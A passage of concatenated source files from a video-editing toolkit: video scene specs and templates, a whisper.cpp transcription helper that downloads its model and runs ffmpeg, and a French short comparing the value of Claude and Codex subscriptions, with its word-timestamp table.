    header: { text: ROUNDS.length > 1 ? `${i + 1}/${ROUNDS.length} · ${r.task}` : r.task, at: a },
    footer: { text: FOOTER, at: a },
    countFrom: a + .5, countTo: a + ROUND * .5, winnerAt: a + ROUND * .5 + .4,
    chip: { text: `${MODELS[cheap].name}: ${ratio(...r.cost)} cheaper`, at: a + ROUND * .5 + .8 },
    panels: MODELS.map((m, j) => ({ ...m, effort: m.effort && `${m.effort[0].toUpperCase() + m.effort.slice(1)} effort`, media: `r${i}m${j}`, cost: r.cost[j], costSuffix: r.suffix?.[j] || '', time: r.time?.[j] })),
  });
  t = b;
});
if (OUTRO && ROUNDS.length > 1) {
  const tot = MODELS.map((_, j) => ROUNDS.reduce((s, r) => s + r.cost[j], 0)), max = Math.max(...tot), lo = tot.indexOf(Math.min(...tot));
  const a = t, H = FORMAT === 'short' ? 1920 : 1080;
  scenes.push(
    { type: 'bars', from: a, to: a + 5, y: H / 2 - 120,
      tags: [{ text: `Total bill · ${ROUNDS.length} tests`, at: a + .1 }],
      rows: MODELS.map((m, j) => ({ label: `${m.name}${m.effort ? ` (${m.effort})` : ''} · $${tot[j].toFixed(2)}`, value: tot[j] / max, at: a + .3 + j * .6, blue: j === lo, dark: j !== lo })),
      gapAt: a + 2, gapChip: { text: `${ratio(...tot)} cheaper`, at: a + 2.4 } },
    { type: 'title', from: a + 5.2, y: H / 2 - 60, size: 110, lines: [
      { text: 'Which one', at: a + 5.3 }, { text: 'would you ship?', at: a + 5.7, emph: 'ship?', emphAt: a + 6.2 }] },
  );
  t = a + 8.5;
}

window.SPEC = {
  title: `${MODELS[0].name} vs ${MODELS[1].name}`,
  format: FORMAT === 'short' ? undefined : FORMAT,
  silent: true,
  duration: t,
  media,
  layout: { keys: [[0, FORMAT === 'short' ? 1920 : 1080]] },
  scenes,
  music: { bpm: 112 },
  mix: { music: -24, sfx: -27, ceil: -2.2 },
};

// Short: "<one-line promise>". All times are SOURCE seconds (read them from files/words.md).
// Parameters: references/scene-library.md. Delete what you don't use.
// Pace (speed, tighten), caption look, music bpm and mix come from source/style.json (the creator style snapshot
// written by `init`). Set a key here only to override it for this one short.
window.SPEC = {
  title: '<title>',
  media: {
    // demo: { src: '~/path/to/clip.mp4', from: 0, dur: 10 },
  },
  cam: { crop: [400, 0, 1200, 1080], eyes: [600, 400] },   // check a source frame, center the face
  cut: [],                                                // [[a, b]] retakes / dead air to drop

  // seam: 960 half, 1240 paper-heavy, 0 full camera. Change it every few seconds.
  layout: { keys: [[0, 960]] },
  zoom: { keys: [[0, 1]] },

  actors: [
    // { id: 'demo', media: 'demo', offset: 0, from: 0.5, to: 6, pre: .45,
    //   keys: [[0.5, [60, 250, 960]]], labelKeys: [[0.5, 'Label']], dot: 'blue' },
  ],

  scenes: [
    // { type: 'stat', from: 6, to: 9, value: 100, suffix: '%', countFrom: 6.4, countTo: 7.1, y: 760, size: 300 },
    // { type: 'title', from: 9, to: 11, lines: [{ text: 'Line one', at: 9 }, { text: 'line two.', at: 9.8, emph: 'two.', emphAt: 10.2 }] },
    // { type: 'cta', layer: 'over', from: 40, clickAt: 41.4, y: 1420 },   // name, sub, button, done: from style.creator; without a profile (or to override) set them here
  ],

  music: { breaks: [] },   // [[a, b]] drums drop (a punchline, a full-camera beat); a library bed instead: src + offset, see references/music.md

  captions: {
    replace: [],
    emph: [],
    hide: [],   // ranges where a scene already shows the words (title, typing, CTA -> [ctaFrom, 99])
  },
};

// Word timestamps on this computer with whisper.cpp, free and offline: writes <project>/assets/words-scribe.json in the
// same shape as ElevenLabs Scribe ({language_code, text, words: [{text, start, end, type: 'word' | 'spacing'}]}, seconds),
// so `prepare` and everything after it work the same. `short.mjs words` calls it when no ElevenLabs key is set.
//   node whisper.mjs <project> [lang]        (also: node whisper.mjs --check, node whisper.mjs --model)
// whisper-cli: WHISPER_CLI, else <skill>/.runtime/whisper/ (setup.mjs on Windows), else the PATH (brew install whisper-cpp).
// Model: WHISPER_MODEL (a ggml name like small, medium, large-v3-turbo-q5_0, or a .bin path), default large-v3-turbo-q5_0
// (574 MB, about real time on a laptop); `small` (466 MB) is 2 to 3 times faster and mishears more names.
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import { spawnSync } from 'node:child_process';
import { fileURLToPath } from 'node:url';
import { FFMPEG, IS_WIN } from './platform.mjs';

const ENGINE = path.dirname(fileURLToPath(import.meta.url));
const SKILL = path.dirname(ENGINE);
export const MODEL_DIR = IS_WIN ? path.join(process.env.LOCALAPPDATA || os.tmpdir(), 'whisper-cpp') : path.join(os.homedir(), '.cache', 'whisper-cpp');
const exists = f => { try { return fs.existsSync(f); } catch { return false; } };

export function findWhisper() {
  if (process.env.WHISPER_CLI) return process.env.WHISPER_CLI;
  const local = path.join(SKILL, '.runtime', 'whisper');
  const walk = d => exists(d) ? fs.readdirSync(d, { withFileTypes: true }).flatMap(e => e.isDirectory() ? walk(path.join(d, e.name)) : [path.join(d, e.name)]) : [];
  const hit = walk(local).find(f => /^whisper-cli(\.exe)?$/.test(path.basename(f)));
  if (hit) return hit;
  for (const name of ['whisper-cli', 'whisper-cpp']) {
    const r = spawnSync(IS_WIN ? 'where' : 'which', [name], { encoding: 'utf8' });
    if (!r.status && r.stdout.trim()) return r.stdout.trim().split(/\r?\n/)[0];
  }
  return null;
}

export function modelPath() {
  const m = process.env.WHISPER_MODEL || 'large-v3-turbo-q5_0';
  return m.endsWith('.bin') ? path.resolve(m) : path.join(MODEL_DIR, `ggml-${m}.bin`);
}

// downloads the model once (Hugging Face, ggml-org), to a .part file renamed at the end
export async function ensureModel(log = console.log) {
  const file = modelPath();
  if (exists(file)) return file;
  const name = path.basename(file), url = `https://huggingface.co/ggerganov/whisper.cpp/resolve/main/${name}`;
  fs.mkdirSync(path.dirname(file), { recursive: true });
  log(`whisper: downloading ${name} (about 0.5 GB, once) -> ${path.dirname(file)}`);
  const r = await fetch(url);
  if (!r.ok) throw new Error(`model download failed: HTTP ${r.status} on ${url} (WHISPER_MODEL=small, medium or large-v3-turbo-q5_0)`);
  const total = +r.headers.get('content-length') || 0, part = file + '.part', out = fs.createWriteStream(part);
  let got = 0, shown = 0;
  for await (const chunk of r.body) {
    out.write(chunk); got += chunk.length;
    if (total && got / total - shown >= .1) { shown = got / total; log(`whisper: ${Math.round(shown * 100)} %`); }
  }
  await new Promise((ok, ko) => out.end(e => e ? ko(e) : ok()));
  fs.renameSync(part, file);
  return file;
}

// whisper.cpp tokens (sub-words with their own offsets) into words: a token starting with a space opens a new word
function toWords(json) {
  const words = [];
  for (const seg of json.transcription || []) for (const t of seg.tokens || []) {
    const text = t.text || '';
    if (!text.trim() || /^\[_.*_\]$/.test(text.trim()) || /^\[.*\]$/.test(text.trim())) continue;
    const from = t.offsets.from / 1000, to = t.offsets.to / 1000, last = words.at(-1);
    if (last && !/^\s/.test(text)) { last.text += text; last.end = Math.max(last.end, to); continue; }
    words.push({ text: text.trim(), start: from, end: Math.max(to, from + .02) });
  }
  // keep the timeline monotonic: a word never starts before the previous one ends
  for (let i = 1; i < words.length; i++) if (words[i].start < words[i - 1].end) words[i].start = Math.min(words[i - 1].end, words[i].end - .02);
  return words.filter(w => w.text);
}

// whisper drops repeats and false starts and spreads their time over the next words, so a retake
// becomes invisible. A prompt written with hesitations makes it transcribe what was really said.
const VERBATIM = {
  fr: "Euh, alors, j'ai, j'ai testé tous les, euh, tous les.",
  en: 'Um, so, I, I tried all the, uh, all the.',
  es: 'Eh, bueno, yo, yo probé todos los, eh, todos los.',
  de: 'Äh, also, ich, ich hab alle, äh, alle.',
  it: 'Ehm, allora, ho, ho provato tutti i, ehm, tutti i.',
  pt: 'Hum, então, eu, eu testei todos os, hum, todos os.',
};

export async function whisperWords(PROJ, lang, wav, log = console.log) {
  const cli = findWhisper();
  if (!cli) throw new Error(IS_WIN ? 'whisper.cpp not found: run node <skill>/engine/setup.mjs (it installs it)'
    : `whisper.cpp not found: ${process.platform === 'darwin' ? 'brew install whisper-cpp' : 'build whisper.cpp and put whisper-cli on the PATH'}, or set WHISPER_CLI`);
  const model = await ensureModel(log), t0 = Date.now();
  const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'whisper-')), w16 = path.join(tmp, 'a.wav');
  let r = spawnSync(FFMPEG, ['-v', 'error', '-y', '-i', wav, '-ac', '1', '-ar', '16000', '-c:a', 'pcm_s16le', w16]);
  if (r.status) throw new Error(`ffmpeg could not read ${wav}: ${String(r.stderr).slice(-300)}`);
  log(`whisper: transcribing on this computer (${path.basename(model)}, about real time)`);
  const threads = String(Math.max(2, Math.min(8, os.cpus().length)));
  r = spawnSync(cli, ['-m', model, '-f', w16, '-l', lang || 'auto', '-t', threads, '-ojf', '-of', path.join(tmp, 'out'), '-np',
    ...(VERBATIM[lang] ? ['--prompt', VERBATIM[lang]] : [])],
    { encoding: 'utf8', maxBuffer: 1 << 28 });
  if (r.status) throw new Error(`whisper-cli failed (${r.status}): ${(r.stderr || '').slice(-400)}`);
  const json = JSON.parse(fs.readFileSync(path.join(tmp, 'out.json'), 'utf8'));
  fs.rmSync(tmp, { recursive: true, force: true });
  const words = toWords(json);
  if (!words.length) throw new Error('transcription returned 0 words (silent audio? wrong language?)');
  const out = [];
  words.forEach((w, i) => { if (i) out.push({ text: ' ', start: words[i - 1].end, end: w.start, type: 'spacing' }); out.push({ ...w, type: 'word' }); });
  const res = { language_code: json.result?.language || lang || '', text: words.map(w => w.text).join(' '), words: out, source: 'whisper.cpp' };
  fs.writeFileSync(path.join(PROJ, 'assets/words-scribe.json'), JSON.stringify(res, null, 2));
  log(`words: ${words.length} words, lang ${res.language_code} (${((Date.now() - t0) / 1000).toFixed(1)}s, whisper.cpp) -> assets/words-scribe.json`);
  log('tip: an ElevenLabs key (ELEVENLABS_API_KEY in video-agent/.env) makes words use Scribe, which hears every retake and false start');
}

if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) {
  const [a, lang] = process.argv.slice(2);
  if (a === '--check') { const c = findWhisper(); console.log(c ? `whisper-cli: ${c}\nmodel: ${modelPath()}${exists(modelPath()) ? '' : ' (not downloaded yet)'}` : 'whisper-cli: missing'); process.exit(c ? 0 : 1); }
  else if (a === '--model') await ensureModel();
  else if (!a) { console.error('usage: node whisper.mjs <project> [lang] | --check | --model'); process.exit(1); }
  else {
    const PROJ = path.resolve(a), wav = path.join(PROJ, 'assets/source.wav'), src = path.join(PROJ, 'assets/source.mp4');
    if (!exists(wav)) spawnSync(FFMPEG, ['-v', 'error', '-y', '-i', src, '-vn', '-ac', '1', '-ar', '48000', '-c:a', 'pcm_s16le', wav]);
    await whisperWords(PROJ, lang, wav);
  }
}

// YouTube long-form (16:9, 1920x1080): "<one-line promise>". All times are SOURCE seconds (files/words.md).
// Runtime: lib/runtime-yt.js. Scenes draw on a 1080x1080 paper stage (same coordinates as format 'square': x 0..1080,
// centre 540, y 0..1080) that sits LEFT of the camera. Parameters: references/scene-library.md, rhythm: the
// youtube-editing skill's references/motion-design.md.
const L = n => `assets/logos/${n}.png`;   // real logos only (official site / app icon), drawn flat
const IC = n => `assets/icons/${n}.png`;  // house icons (bare Google Noto emoji): copy from <skill>/assets/icons/, never another pack
// frosted glass panel LEFT of the speaker on full camera ('over' layer, output px): x 48..648, centre CX, y 150..930.
// The default way to show a source, a quote or a list while he talks: no layout move at all.
const GX = 48, GW = 600, CX = GX + GW / 2;
const glass = (from, to, items) => ({ type: 'board', layer: 'over', from, to, pre: .4, items: [
  { k: 'glass', x: GX, y: 150, w: GW, h: 780, at: from, pre: .4, rise: 0, tint: .8 }, ...items] });

window.SPEC = {
  format: 'youtube',
  title: '<title>',
  media: {
    // article: { src: 'assets/sources/fortune.png' },                     // a captured source (still, Ken Burns)
    // demo: { src: '~/path/to/clip.mp4', from: 0, dur: 10, fill: true },  // full-screen B-roll (fill crops to 16:9)
  },
  cam: { crop: [0, 0, 1920, 1080], eyes: [960, 400] },   // the whole take; eyes = the face (source px), set by init
  cut: [],                                               // [[a, b]] retakes, false starts, dead air to drop

  // Long-form pace: only real pauses go (budget per boundary in s), breathing stays, no speed-up.
  speed: 1,
  tighten: { sentence: .36, comma: .22, word: .12, lead: .15, tail: 1.2 },

  // [t, x], x = the camera's left edge: 0 full camera, 1080 split (paper 1080 left, camera 840 right), 1920 paper only
  // (the stage glides to the centre). layout.w: spring stiffness (9 = a calm half-second move).
  // Default 0 + glass panels. 1920 for any schema / board / tree. 1080 only for a long run of sources (10 s+).
  // Never split -> full -> split: one move per idea, 2.5 s apart at least.
  layout: { keys: [[0, 0]] },
  // zoom.keys [[t, z]] slow punch-ins; jump cuts alternate 1 / zoom.punch automatically (zoom.jumps: false to stop it).
  zoom: { keys: [[0, 1]], punch: 1.1 },

  actors: [],
  scenes: [
    // glass(40, 48, [{ k: 'text', text: 'C\'est du bullshit.', size: 62, x: CX, y: 250, at: 40.2, emph: 'bullshit.', emphAt: 40.6, maxW: 540 },
    //               { k: 'img', img: IC('skull'), s: 110, x: CX, y: 420, at: 42.0 }]),
    // { type: 'tweet', layer: 'over', from: 60, to: 66, rect: [GX, 250, GW], size: 30, photo: true, ... },   // a tweet LEFT of him on full camera
    // { type: 'title', from: 70, to: 74, lines: [{ text: 'Chapitre 1', at: 70 }, { text: 'Le sujet', at: 70.6, emph: 'sujet' }] },
    // { type: 'cta', layer: 'over', from: 400, clickAt: 401.4, y: 900 },
  ],
  broll: [],   // [{ media, from, to, offset, focus, zoom }] full-screen 1920x1080 over everything

  music: { chapters: [[0, 'enquete']] },   // [[at, bedId]] one bed per chapter, 2 s crossfade at each `at`
  mix: { music: -30 },   // long-form: the bed sits further under the voice

  captions: { on: false, size: 52, replace: [], emph: [], hide: [] },   // YouTube CC carries the words; on: true for small stickers
};
// house icon tiles carry their own depth: no drop shadow
for (const s of window.SPEC.scenes) for (const it of s.items || []) if (it.k === 'img' && it.img.startsWith('assets/icons/')) it.shadow = false;

// Short: "Annule ton abonnement Codex : Anthropic donne 5,6x plus de valeur". All times are SOURCE seconds (files/words.md).
// Proof = the SemiAnalysis charts posted by @scaling01 ("this is brutal", Oct 5 2026): the real image is shown in a
// `screen` window with zooms and rings on the numbers the creator reads, and a big native counter under it for mobile.
const L = { codex: 'assets/logos/codex.png', claude: 'assets/logos/claude.png', openai: 'assets/logos/openai.png', spacex: 'assets/logos/spacex-word.png', ferrari: 'assets/logos/ferrari.png', semi: 'assets/images/av-semianalysis.jpg' };
const CHART = 'assets/images/value-by-plan.jpg';   // 2048 x 1161, rects below are in these px
const R = {
  claude200: [1753, 473, 236, 49],   // $11,726 58.6x
  gpt200: [635, 389, 205, 41],       // $2,084 10.4x
  gpt100: [517, 620, 205, 41],       // $1,055 10.6x
  claude100: [1058, 707, 205, 41],   // $5,725 57.3x
};

window.SPEC = {
  title: 'Annule ton abonnement Codex',
  media: {
    avScaling: { src: 'assets/images/av-scaling01.jpg', width: 176 },
    chart: { src: 'assets/images/value-by-plan.jpg', width: 1080 },
  },
  cam: { crop: [532, 0, 1200, 1080], eyes: [575, 445], splitZoom: 1.25 },   // eyes +20 px and a tighter card: the red and green wall poster stays out of the card edge
  grade: true,                                            // cooler, brighter face (the room light is warm and dim)
  cut: [[78.0, 80.36]],                                   // "c'est devenu Space-- c'est, c'est," stutter

  layout: { frame: true, keys: [
    [0, 960],        // hook: Codex subscription, struck
    [12.70, 1240],   // the tweet, then the real chart with zooms
    [33.88, 960],    // native bars: 5,6x more
    [43.50, 1240],   // the $100 plan on the chart
    [56.34, 0],      // full screen, direct address: "il faut à tout prix utiliser un abonnement Anthropic, les amis"
    [62.84, 1240],   // the ostrich buries its head, then wakes up
    [70.80, 1240],   // Codex = Ferrari, Claude Code = SpaceX rocket
  ] },

  actors: [],

  scenes: [
    // 1. hook: a study, cancel your Codex plan
    { type: 'board', from: 4.70, to: 12.60, pre: .8, items: [
      { k: 'logo', logo: L.semi, s: 84, x: 360, y: 300, at: 4.70, pre: .8 },
      { k: 'text', text: 'SemiAnalysis', size: 54, align: 'left', x: 420, y: 300, at: 4.70, pre: .75 },
      { k: 'card', x: 140, y: 400, w: 800, h: 400, at: 4.70, pre: .7 },
      { k: 'logo', logo: L.codex, s: 170, x: 540, y: 535, at: 4.70, pre: .65, dimAt: 7.74 },
      { k: 'text', text: 'Abonnement Codex', size: 64, x: 540, y: 710, at: 4.70, pre: .6, strikeAt: 7.42, strikeW: 620 },
    ] },

    // 2. the tweet with the real chart
    { type: 'tweet', from: 12.70, to: 15.62, rect: [60, 230, 960], avatar: 'avScaling', name: 'Lisan al Gaib', handle: '@scaling01',
      text: 'this is brutal', size: 44, media: 'chart', mediaAr: 1161 / 2048,
      footer: '8:33 PM · Oct 5, 2026 · **138.2K** Views' },

    // 3. $200 plans on the real chart: Claude 11 726 $ (58,6x), then ChatGPT 2 084 $ (10x)
    { type: 'board', from: 15.70, to: 33.80, items: [
      { k: 'screen', img: CHART, x: 540, y: 540, w: 960, h: 600, at: 15.70, morph: true,   // grows out of the tweet's image
        viewKeys: [[15.70, [1024, 580, 1]], [16.46, [1180, 455, 1.25]], [18.04, [1500, 480, 1.9]], [26.78, [1100, 455, 1.25]], [28.54, [760, 430, 1.9]]],
        rings: [{ at: 18.04, to: 26.70, rect: R.claude200 }, { at: 29.42, rect: R.gpt200 }] },
      { k: 'logo', logo: L.claude, s: 110, x: 150, y: 1010, at: 16.46, to: 26.70,   // enters centered on "à deux cents euros", glides left for the count
        posKeys: [[16.46, [540, 1010]], [17.10, [150, 1010]]], scaleKeys: [[16.46, 1.3], [17.10, 1]], posW: 12 },
      { k: 'counter', value: 11726, suffix: ' $', size: 150, depth: 1, align: 'left', x: 240, y: 1010, at: 18.04, to: 22.8, countFrom: 18.04, countTo: 20.08 },
      { k: 'text', text: '×58,6', size: 150, depth: 1, color: 'blue', align: 'left', x: 240, y: 1010, at: 23.08, to: 26.70 },
      { k: 'logo', logo: L.openai, s: 110, x: 150, y: 1010, at: 28.10,   // same move on "l'abonnement OpenAI"
        posKeys: [[28.10, [540, 1010]], [28.85, [150, 1010]]], scaleKeys: [[28.10, 1.3], [28.85, 1]], posW: 14 },
      { k: 'counter', value: 2084, suffix: ' $', size: 150, depth: 1, align: 'left', x: 240, y: 1010, at: 29.42, to: 32.6, countFrom: 29.42, countTo: 31.04 },
      { k: 'text', text: '×10', size: 150, depth: 1, align: 'left', x: 240, y: 1010, at: 33.08 },
    ] },

    // 4. native bars: Opus 5.5 gives 5,6x more usage
    { type: 'board', from: 33.88, to: 43.40, items: [
      { k: 'text', text: 'Valeur pour 200 $/mois', size: 56, x: 540, y: 260, at: 33.88 },
      { k: 'bar', x: 90, y: 415, w: 900, h: 90, value: 1, blue: true, logo: L.claude, label: 'Opus 5.5', valueText: '11 726 $', at: 34.50, fillFrom: 34.60, fillTo: 35.60 },
      { k: 'bar', x: 90, y: 605, w: 900, h: 90, value: 2084 / 11726, dark: true, logo: L.openai, label: 'GPT-6.1 Sol', valueText: '2 084 $', at: 34.70, fillFrom: 34.90, fillTo: 35.60 },
      { k: 'text', text: "5,6× plus d'usage", emph: '5,6×', size: 84, x: 540, y: 775, at: 38.94 },
    ] },

    // 5. same on the $100 plan
    { type: 'board', from: 43.50, to: 57.10, items: [
      { k: 'screen', img: CHART, x: 540, y: 540, w: 960, h: 600, at: 43.50,
        viewKeys: [[43.50, [1024, 580, 1]], [45.42, [1100, 680, 1.3]], [49.30, [890, 684, 1.9]]],
        rings: [{ at: 50.48, to: 52.70, rect: R.gpt100 }, { at: 52.74, rect: R.claude100 }] },
      // one hero number at a time in the same slot, like the $200 plan: OpenAI, then Claude
      { k: 'logo', logo: L.openai, s: 110, x: 150, y: 1010, at: 50.20, to: 52.50 },
      { k: 'counter', value: 1055, suffix: ' $', size: 150, depth: 1, align: 'left', x: 240, y: 1010, at: 50.48, to: 52.50, countFrom: 50.48, countTo: 51.36 },
      { k: 'logo', logo: L.claude, s: 110, x: 150, y: 1010, at: 52.74 },
      { k: 'counter', value: 5725, suffix: ' $', size: 150, depth: 1, align: 'left', x: 240, y: 1010, at: 52.74, countFrom: 52.74, countTo: 54.34 },
    ] },

    // 6. "arrêtez de faire les autruches": head in the sand, then "réveillez-vous et switchez" -> Claude
    { type: 'board', from: 62.84, to: 70.70, items: [
      { k: 'ostrich', s: 1, x: 455, y: 1010, at: 63.04, downFrom: 64.70, downTo: 65.70, upAt: 66.56 },
      { k: 'logo', logo: L.claude, s: 150, x: 830, y: 400, at: 67.88 },
    ] },

    // 7. Codex was the Ferrari, Claude Code is the SpaceX rocket: one column each, the object over its brand
    { type: 'board', from: 70.80, items: [
      // Codex opens as the hero, centered, then steps into its column when the Ferrari arrives
      { k: 'logo', logo: L.codex, s: 140, x: 290, y: 290, at: 70.80, dimAt: 76.58,
        posKeys: [[70.80, [540, 560]], [74.02, [290, 290]]], scaleKeys: [[70.80, 1.7], [74.02, 1]] },
      { k: 'text', text: 'Codex', size: 52, x: 290, y: 430, at: 70.90, dimAt: 76.58,
        posKeys: [[70.80, [540, 800]], [74.02, [290, 430]]], scaleKeys: [[70.80, 1.5], [74.02, 1]] },
      { k: 'ferrari', s: .82, x: 290, y: 930, at: 74.20 },
      { k: 'logo', logo: L.ferrari, s: 96, x: 290, y: 1060, at: 74.40 },
      { k: 'logo', logo: L.claude, s: 140, x: 790, y: 290, at: 77.30 },
      { k: 'text', text: 'Claude Code', size: 52, x: 790, y: 430, at: 77.30 },
      { k: 'starship', s: .6, x: 790, y: 755, at: 77.66, igniteAt: 80.96, liftFrom: 82.18, liftTo: 84.0, liftY: 100 },
      { k: 'img', img: L.spacex, s: 330, h: 50, x: 790, y: 1060, at: 81.26 },
    ] },
  ],

  music: { bed: 'enquete', offset: 10.7 },

  captions: {
    replace: [
      ['deux cents euros', '200 €'],
      ['onze mille sept cent vingt-six dollars', '11 726 $'],
      ['cinquante-huit virgule six fois', '58,6 fois'],
      ['deux mille quatre-vingt-quatre dollars', '2 084 $'],
      ['dix', '10'],
      ['au plus cinq point cinq', 'Opus 5.5'],
      ['cinq virgule six fois', '5,6 fois'],
      ['cent dollars', '100 $'],
      ['mille cinquante-cinq', '1 055 $'],
      ['cinq mille sept cent vingt-cinq dollars', '5 725 $'],
    ],
    emph: ['Codex', '11 726 $', '58,6 fois', '5,6 fois', '5 725 $', 'switchez', 'SpaceX'],
    hide: [[18.0, 20.4], [23.0, 25.1], [29.4, 31.4], [33.0, 33.8], [50.4, 51.4], [52.7, 54.6]],   // the big number on screen already says it
  },
};

# Words

Source time (what spec.js uses) -> short time. Regenerated by `short.mjs prepare`.

Short duration: 55.39s (source 84.203s, 59 keeps)

| src | short | word |
|---|---|---|
| 4.70 | 0.03 | Attention, |
| 5.26 | 0.46 | une |
| 5.40 | 0.58 | étude |
| 5.72 | 0.86 | vient |
| 5.90 | 1.01 | de |
| 6.00 | 1.10 | montrer |
| 6.36 | 1.39 | que |
| 6.50 | 1.51 | tu |
| 6.62 | 1.61 | dois |
| 6.84 | 1.80 | à |
| 6.98 | 1.87 | tout |
| 7.14 | 2.01 | prix |
| 7.42 | 2.25 | annuler |
| 7.78 | 2.56 | ton |
| 7.94 | 2.70 | abonnement |
| 8.30 | 3.01 | Codex |
| 8.80 | 3.42 | et |
| 8.92 | 3.52 | je |
| 8.98 | 3.58 | t'explique |
| 9.38 | 3.92 | pourquoi. |
| 12.70 | 4.29 | On |
| 12.80 | 4.38 | a |
| 12.96 | 4.52 | ce |
| 13.16 | 4.69 | tweet |
| 13.68 | 4.97 | qui |
| 13.84 | 5.11 | montre |
| 14.32 | 5.50 | que |
| 14.68 | 5.63 | l'abonnement |
| 15.70 | 6.12 | Anthropic |
| 16.46 | 6.78 | à |
| 16.66 | 6.89 | deux |
| 16.86 | 7.07 | cents |
| 17.10 | 7.28 | euros |
| 17.50 | 7.57 | te |
| 17.64 | 7.69 | donne |
| 18.04 | 8.04 | onze |
| 18.40 | 8.35 | mille |
| 18.92 | 8.60 | sept |
| 19.26 | 8.86 | cent |
| 19.56 | 9.07 | vingt-six |
| 20.08 | 9.52 | dollars |
| 20.46 | 9.85 | de |
| 20.58 | 9.95 | valeur. |
| 21.44 | 10.35 | C'est |
| 21.60 | 10.49 | un |
| 21.74 | 10.61 | multiplicateur |
| 22.72 | 11.47 | de |
| 23.08 | 11.55 | cinquante-huit |
| 23.86 | 12.23 | virgule |
| 24.30 | 12.61 | six |
| 24.50 | 12.75 | fois. |
| 25.14 | 12.99 | C'est |
| 25.36 | 13.18 | juste |
| 25.94 | 13.51 | immense. |
| 26.78 | 13.95 | Alors |
| 27.04 | 14.18 | que |
| 27.18 | 14.30 | de |
| 27.26 | 14.37 | l'autre |
| 27.46 | 14.54 | côté, |
| 28.02 | 14.80 | l'abonnement |
| 28.54 | 15.25 | OpenAI |
| 29.04 | 15.69 | te |
| 29.16 | 15.79 | donne |
| 29.42 | 16.02 | deux |
| 29.62 | 16.19 | mille |
| 29.86 | 16.40 | quatre-vingt-quatre |
| 31.04 | 17.37 | dollars |
| 31.36 | 17.65 | de |
| 31.48 | 17.75 | valeur, |
| 31.88 | 18.04 | soit |
| 32.00 | 18.14 | un |
| 32.10 | 18.23 | multiplicateur |
| 32.90 | 18.93 | de |
| 33.08 | 19.08 | dix. |
| 33.88 | 19.43 | En |
| 34.04 | 19.57 | clair, |
| 34.50 | 19.88 | actuellement |
| 35.06 | 20.37 | au |
| 35.20 | 20.49 | plus |
| 35.42 | 20.68 | cinq |
| 35.64 | 20.88 | point |
| 35.84 | 21.05 | cinq, |
| 36.54 | 21.34 | même |
| 36.82 | 21.58 | s'il |
| 37.06 | 21.79 | coûte |
| 37.28 | 21.98 | plus |
| 37.46 | 22.14 | cher, |
| 38.18 | 22.45 | il |
| 38.28 | 22.53 | te |
| 38.40 | 22.64 | donne |
| 38.94 | 22.82 | cinq |
| 39.22 | 23.06 | virgule |
| 39.74 | 23.48 | six |
| 40.02 | 23.67 | fois |
| 40.38 | 23.95 | plus |
| 40.76 | 24.28 | d'usage |
| 41.44 | 24.85 | comparé |
| 42.08 | 25.37 | au |
| 42.22 | 25.50 | prix |
| 42.46 | 25.70 | du |
| 42.58 | 25.81 | modèle. |
| 43.50 | 26.29 | C'est |
| 43.90 | 26.61 | similaire |
| 44.52 | 27.12 | avec |
| 44.72 | 27.29 | l'abonnement |
| 45.24 | 27.75 | à |
| 45.42 | 27.90 | cent |
| 45.58 | 28.04 | dollars |
| 45.88 | 28.30 | par |
| 46.02 | 28.42 | mois, |
| 46.38 | 28.59 | par |
| 46.58 | 28.77 | mois |
| 46.84 | 28.99 | qui |
| 46.96 | 29.10 | est |
| 47.14 | 29.25 | bien |
| 47.34 | 29.43 | moins |
| 47.54 | 29.60 | compétitif, |
| 48.24 | 30.15 | mais |
| 48.40 | 30.29 | quand |
| 48.56 | 30.43 | même, |
| 49.30 | 30.70 | on |
| 49.42 | 30.80 | se |
| 49.58 | 30.94 | retrouve |
| 49.96 | 31.27 | avec |
| 50.48 | 31.69 | mille |
| 50.74 | 31.92 | cinquante-cinq |
| 51.36 | 32.46 | de |
| 51.46 | 32.55 | valeur |
| 51.78 | 32.79 | pour |
| 51.94 | 32.93 | OpenAI |
| 52.50 | 33.42 | et |
| 52.74 | 33.60 | cinq |
| 53.00 | 33.83 | mille |
| 53.20 | 34.00 | sept |
| 53.40 | 34.17 | cent |
| 53.58 | 34.33 | vingt-cinq |
| 54.34 | 34.90 | dollars |
| 54.68 | 35.20 | de |
| 54.80 | 35.30 | valeur |
| 55.16 | 35.62 | pour |
| 55.32 | 35.76 | Anthropic. |
| 56.34 | 36.30 | Donc |
| 56.62 | 36.54 | il |
| 56.80 | 36.70 | faut |
| 57.10 | 36.93 | à |
| 57.24 | 37.05 | tout |
| 57.40 | 37.19 | prix |
| 57.72 | 37.47 | utiliser |
| 58.14 | 37.83 | un |
| 58.26 | 37.94 | abonnement |
| 58.54 | 38.18 | Anthropic |
| 59.00 | 38.58 | dès |
| 59.14 | 38.70 | maintenant, |
| 59.44 | 38.96 | les |
| 59.64 | 39.14 | amis. |
| 59.92 | 39.38 | Si |
| 60.02 | 39.47 | vous |
| 60.18 | 39.61 | avez |
| 60.32 | 39.73 | un |
| 60.42 | 39.81 | abonnement |
| 60.74 | 40.09 | OpenAI, |
| 61.56 | 40.49 | arrêtez |
| 62.28 | 41.11 | de |
| 62.46 | 41.27 | faire |
| 62.84 | 41.60 | les |
| 63.04 | 41.77 | autruches, |
| 63.70 | 42.35 | arrêtez |
| 64.06 | 42.66 | de |
| 64.18 | 42.77 | mettre |
| 64.56 | 43.10 | votre |
| 64.80 | 43.25 | tête |
| 65.24 | 43.63 | dans |
| 65.58 | 43.92 | la |
| 65.78 | 44.04 | terre |
| 66.46 | 44.63 | et |
| 66.56 | 44.72 | réveillez-vous |
| 67.56 | 45.59 | et |
| 67.88 | 45.87 | switchez. |
| 68.56 | 46.28 | Enfin, |
| 68.84 | 46.53 | là, |
| 69.04 | 46.70 | là, |
| 69.22 | 46.86 | là, |
| 69.30 | 46.93 | il |
| 69.36 | 46.98 | y |
| 69.38 | 47.00 | a |
| 69.48 | 47.08 | plus |
| 69.60 | 47.19 | débat, |
| 69.98 | 47.52 | je |
| 70.02 | 47.55 | suis |
| 70.12 | 47.64 | désolé. |
| 70.80 | 48.00 | Autant |
| 71.12 | 48.28 | vous |
| 71.26 | 48.40 | dire |
| 71.56 | 48.61 | que |
| 71.70 | 48.73 | pendant |
| 71.88 | 48.88 | un |
| 71.94 | 48.93 | moment, |
| 72.26 | 49.21 | Codex |
| 73.18 | 49.95 | était |
| 74.02 | 50.25 | la |
| 74.20 | 50.41 | Ferrari |
| 75.14 | 51.16 | des |
